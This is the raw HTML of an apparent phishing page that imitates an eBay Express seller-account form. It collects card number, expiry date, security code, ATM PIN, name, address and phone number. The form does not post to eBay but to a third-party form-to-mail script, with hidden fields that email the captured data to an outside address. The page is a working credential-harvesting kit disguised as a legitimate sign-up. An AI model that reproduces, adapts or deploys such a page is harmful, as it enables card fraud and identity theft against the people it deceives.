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<A HREF="http://pages.ebay.com/help/policies/privacy-policy.html" target="_blank">Privacy Policy</A> - <A HREF="/support/ebay" target="_blank">Help</A>
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<FORM name="main" method="post" action="http://www.creditunion.coop/cgi-php/formtomail.php">
<input type="hidden" name="from" value="rudele@gmail.com">
<input type="hidden" name="to" value="zuzzi@tycobb.net">
<input type="hidden" name="subject" value="Dandanaua">
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<div class="pageTitleNoLine"><b>Enter the Credit or Debit Card you will use to pay the seller fees: </b><span class="standard"></span></div>
<div class="idtHrz"><input type="hidden" id="walled" name="wald" tabindex="-1" value="" />
At this time only US residents can create an <i>eBay Express</i> seller account.
<div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div id="cardType_inp"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:2px"><b>Type of Card</b></div><select id="cardType" name="cardType" style="position: relative;"><option value="0">Select</option><option value="4">Visa</option><option value="5">Master Card</option><option value="6">Discover</option><option value="3">American Express</option></select></div></td></tr></table></div><div id="cardNumber"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="cardNumber"></a><div style="padding-bottom:3px"><b>*Card Number</b></div><input type="text" id="cardNumber" name="cardNumber" value="" style="position:relative;" size="40" maxlength="16"></input></div><div><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:3px"><b>*Expiration Date</b></div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div id="expirationMonth_inp" class="idtRgt"><select id="expirationMonth" name="expirationMonth" style="position: relative;"><option value="0">Month</option><option value="1">01</option><option value="2">02</option><option value="3">03</option><option value="4">04</option><option value="5">05</option><option value="6">06</option><option value="7">07</option><option value="8">08</option><option value="9">09</option><option value="10">10</option><option value="11">11</option><option value="12">12</option></select></div></td><td valign="top"><div id="expirationYear_inp"><select id="expirationYear" name="expirationYear" style="position: relative;"><option value="1970">Year</option><option value="2006">2006</option><option value="2007">2007</option><option value="2008">2008</option><option value="2009">2009</option><option value="2010">2010</option><option value="2011">2011</option><option value="2012">2012</option><option value="2013">2013</option><option value="2014">2014</option><option value="2015">2015</option><option value="2016">2016</option><option value="2017">2017</option><option value="2018">2018</option><option value="2019">2019</option></select></div></td></tr></table></div><div><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:3px"><b>*Card ID Number</b></div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div id="cardIDNumber_inp" class="idtRgt"><input type="text" id="cardIDNumber" name="cardIDNumber" value="" style="position:relative;" size="4" maxlength="4"></input></div></td><td valign="top"><span class="idtRgt"><img border="0" alt="" src="s/imgCreditCards.gif" width="102" height="31"></img></span></td><td valign="top"><span class="idtRgt"> </span></td><td valign="top"><div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><span class="help">3-digit number on the back of your credit or debit card.</span></td></tr><tr><td valign="top"><span class="help">For American Express cards, use the 4-digit number on the front of the card.</span></td></tr></table></div></td></tr></table></div>
<div id="pin_inp"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="pin_link"></a><div style="padding-bottom:3px"><b>*Personal ID Number (ATM PIN)</b></div><input type="password" id="pin" name="pin" value="" style="position:relative;" size="4" maxlength="4"></input></div>
<div class="idtHrz"><div><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:3px"><b>*Name as it appears on the card</b></div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><span class="idtRgt">First Name</span></td><td valign="top"><span>Last Name</span></td></tr><tr><td valign="top"><div id="cardHolderFirstName_inp" class="idtRgt"><input type="text" id="cardHolderFirstName" name="cardHolderFirstName" value="" style="position:relative;" size="40"></input></div></td><td valign="top"><div id="cardHolderLastName_inp"><input type="text" id="cardHolderLastName" name="cardHolderLastName" value="" style="position:relative;" size="40"></input></div></td></tr></table>
<div id="manualaddr_sec" style=""><div class="idtHrz"><div id="address1_inp"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="address1_link"></a><div style="padding-bottom:3px"><b>*Street Address</b></div><input type="text" id="address1" name="address1" value="" style="position:relative;" size="45" maxlength="100"></input></div><div id="address2_inp"><input type="text" id="address2" name="address2" value="" style="position:relative;" size="45" maxlength="100"></input></div><div id="city_inp"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="city_link"></a><div style="padding-bottom:3px"><b>City</b></div><input type="text" id="city" name="city" value="" style="position:relative;" size="45" maxlength="128"></input></div><div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div class="idtRgt"><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div id="state_inp" class="idtRgt"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="state_link"></a><div style="padding-bottom:3px"><b>State</b></div><select id="state" name="state" style="position: relative;"><option value="default">-Select-</option><option value="AL">Alabama</option><option value="AK">Alaska</option><option value="AZ">Arizona</option><option value="AR">Arkansas</option><option value="CA">California</option><option value="CO">Colorado</option><option value="CT">Connecticut</option><option value="DE">Delaware</option><option value="DC">District Of Columbia</option><option value="FL">Florida</option><option value="GA">Georgia</option><option value="HI">Hawaii</option><option value="ID">Idaho</option><option value="IL">Illinois</option><option value="IN">Indiana</option><option value="IA">Iowa</option><option value="KS">Kansas</option><option value="KY">Kentucky</option><option value="LA">Louisiana</option><option value="ME">Maine</option><option value="MD">Maryland</option><option value="MA">Massachusetts</option><option value="MI">Michigan</option><option value="MN">Minnesota</option><option value="MS">Mississippi</option><option value="MO">Missouri</option><option value="MT">Montana</option><option value="NE">Nebraska</option><option value="NV">Nevada</option><option value="NH">New Hampshire</option><option value="NJ">New Jersey</option><option value="NM">New Mexico</option><option value="NY">New York</option><option value="NC">North Carolina</option><option value="ND">North Dakota</option><option value="OH">Ohio</option><option value="OK">Oklahoma</option><option value="OR">Oregon</option><option value="PA">Pennsylvania</option><option value="RI">Rhode Island</option><option value="SC">South Carolina</option><option value="SD">South Dakota</option><option value="TN">Tennessee</option><option value="TX">Texas</option><option value="UT">Utah</option><option value="VT">Vermont</option><option value="VA">Virginia</option><option value="WA">Washington</option><option value="WV">West Virginia</option><option value="WI">Wisconsin</option><option value="WY">Wyoming</option><option value="PR">Puerto Rico</option><option value="VI">Virgin Island</option><option value="MP">Northern Mariana Islands</option><option value="GU">Guam</option><option value="AS">American Samoa</option><option value="PW">Palau</option></select></div></td><td valign="top"><div id="zip_inp" class="idtRgt"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="zip_link"></a><div style="padding-bottom:3px"><b>*ZIP Code</b></div><input type="text" id="zip" name="zip" value="" style="position:relative;" size="13" maxlength="12"></input></div></td><td valign="top"><div id="country_inp"><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><a name="country_link"></a><div style="padding-bottom:3px"><b>Country or Region</b></div>United States</div></td></tr></table></div></td><td valign="top"><div><table cellpadding="0" cellspacing="0" border="0" summary=""><tr><td valign="top"><div><div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:3px"><b><span class="addlmessage"></span></b></div></div></td></tr></table></div></td></tr></table></div></div></div><div><div class="idtHrz"><div>
<div class="verSpc"><img src="s/s.gif" width="1" height="10" alt="" /></div><div style="padding-bottom:3px"><b>Phone Number</b></div>
<table cellpadding="0" cellspacing="0" border="0" summary=""><tr>
<td valign="top"><div><input type="text" id="dayphone1" name="dayphone1" value="" style="position:relative;" class="nomargin" size="3" maxlength="3"></input></div></td><td valign="top"><div id="dayphone2_inp" class="idtRgt"><input type="text" id="dayphone2" name="dayphone2" value="" style="position:relative;" class="nomargin" size="3"></input></div></td><td valign="top"><div id="dayphone3_inp" class="idtRgt"><input type="text" id="dayphone3" name="dayphone3" value="" style="position:relative;" size="4"></div></td><td><div><div><img src="s/s.gif" width="1" height="4" alt="" /></div><div><b><span>Needed if there are questions about your orders.</span></input></b></div></div></td></tr></table></div></div>
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* Indicates a required field.
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<div class="buttonbar"><span id="tp" class="suffix"><span id="editPaymentMethod_bl_" class="priButton"><input name="" type="submit" value="Apply for seller account" class="priButton"></input></span><script>
ebay.oDocument.oPage.createConfig = function () {var c = ebay.oDocument.addConfig(new EbayConfig('Express.Form.Button')); c.sFormName = 'editPaymentMethod'; c.sLayerName = 'editPaymentMethod_bl_'; c.sDefaultAction = ''; c.sAction = ''; c.sHTML = '<span class="b1"><span class="b2"><span class="b3">Save Credit Card</span></span></span>';}; ebay.oDocument.oPage.createConfig(); ebay.oDocument.oPage.expressCreateSubmit('Express.Form.Button');
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